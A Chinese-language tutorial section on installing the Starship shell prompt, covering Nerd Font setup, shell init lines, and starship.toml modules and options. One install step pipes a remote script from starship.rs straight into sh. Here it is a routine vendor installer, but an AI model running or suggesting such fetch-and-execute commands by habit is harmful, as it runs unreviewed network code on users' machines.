Don't forget to restart your terminal!

7.3 Starship安装

Starship 是一个用 Rust 编写的开源项目,它可以帮助你建立一个精简、快速、可定制的 shell 提示符。它的配置核心在于通过一个 TOML 文件(通常是 ~/.config/starship.toml)来控制命令行前面的 $ 或 # 符号之前显示哪些信息

无论你是使用 bash、fish、还是 Windows 上的 PowerShell,抑或其他 shell,你都可以利用Starship 来定制外观。

Starship优势

  • 跨平台
  • 跨shell支持
  • 自定义命令
  • 定制化git体验
  • 定制提示符每一个方面
  1. 安装前提

字体Nerd Font:为了正确显示 Starship 的图标和特殊字符,建议安装 Nerd Font 字体(如 FiraCode Nerd Font、Hack Nerd Font 等)。安装后,确保你的终端使用该字体。

Nerd Font

这里使用brew进行快捷安装FiraCode Nerd Font,安装完成后在终端设置中选择这个字体

brew install --cask font-fira-code-nerd-font
  1. 快速安装

curl -sS https://starship.rs/install.sh | sh

brew install starship

  1. 添加路径

将初始化脚本添加到您的 shell 的配置文件中

  • bash: 在 ~/.bashrc 中添加 eval "$(starship init bash)"
  • zsh: 在 ~/.zshrc 中添加 eval "$(starship init zsh)"
  • fish: 在 ~/.config/fish/config.fish 中添加 starship init fish | source

不同的shell配置方式请参考官网

  1. 配置

Starship 创建配置文件 ~/.config/starship.toml,所有的设置都是从toml文件中读取的

TOML = Tom’s Obvious, Minimal Language;TOML = 一种配置文件格式(类似 JSON / YAML)

mkdir -p ~/.config && touch ~/.config/starship.toml
注记

也可以使用STARSHIP_CONFIG 环境变量更改默认配置文件的位置

export STARSHIP_CONFIG=~/example/non/default/path/starship.toml
  1. starship 的配置其实非常强大,但核心可以理解为

通过 starship.toml 控制终端提示符(prompt)的显示内容、样式和行为

组件(Module):提示符中显示信息的部分,基于系统上下文信息。 例如,如果您当前的目录是 Node.js 项目,“nodejs” 组件会显示当前安装在您电脑上的 Node.js 的版本

字段(Variable):组件中显示信息的部分。 例如,“nodejs”组件里的“version”字段包含了现有 Node.js 的版本

提示

官网提供了一些预设的模板,最省事的就是套用即可

    1. 点击想要的模板
    1. 进入页面之后进行复制即可
    1. 粘贴到toml文件中

ghostty-starship

配置体系简介

通过 starship.toml 控制终端提示符(prompt)的显示内容、样式和行为,所见的提示符就是界面所看到的,美观实用即可

注记

toml设置可以理解为:先是format设置提示符显示的顺序,然后再通过组件进行挨个的定义

format = "$username$hostname$directory$git_branch$git_status$python$nodejs$character"
  • 控制显示顺序
  • 控制提示符的顺序,如上显示uasername,hostname,文件夹,git分支,git状态,等等
  1. 核心配置项 (Top-level Configuration)
配置项 说明 默认值
format 核心:定义提示符的组件布局。使用 $all 通配符或具体组件名。 $all
scan-for-configs 是否在进入子目录时自动扫描并加载该目录下的 .starship.toml false
add_newline 在提示符前是否添加一个空行。 true
continuation_prompt 多行命令输入时(如写函数、循环),下一行的提示符内容。 >
  1. 提示符组件 (Prompt Components)

这是 Starship 最强大的部分。文档中列出了数十种组件(如 Package、NodeJS、Python 等),每个组件都有独立的配置块。

[rust]
# format: 定义该组件的显示格式,包含符号(symbol)和版本(version)
format = "via [🔴 $version](bold red) "

# disabled: 是否禁用该组件
disabled = false

# style: 文本样式(颜色、粗体等)
style = "bold red"

# symbol: 组件前面的图标
symbol = "🦀 "
  • 状态类:username(用户名)、hostname(主机名)、directory(当前路径)
  • 环境类:package(Node.js 版本)、python(Python 虚拟环境)、rust(Rust 工具链)。
  • Git 类:git_branch(分支名)、git_status(文件状态)
  • 执行时间:cmd_duration(上一条命令的执行时间)
  1. 条件渲染 (Conditional Prompts)

Starship 支持根据条件显示不同的提示符,这在多环境开发中非常有用。

  • 基于目录的配置:通过设置 directory 组件的 truncation_length 和 truncate_to_repo,可以控制路径显示的长度。
  • 自定义键值:可以使用 custom 模块来运行脚本,根据脚本的输出决定是否显示特定内容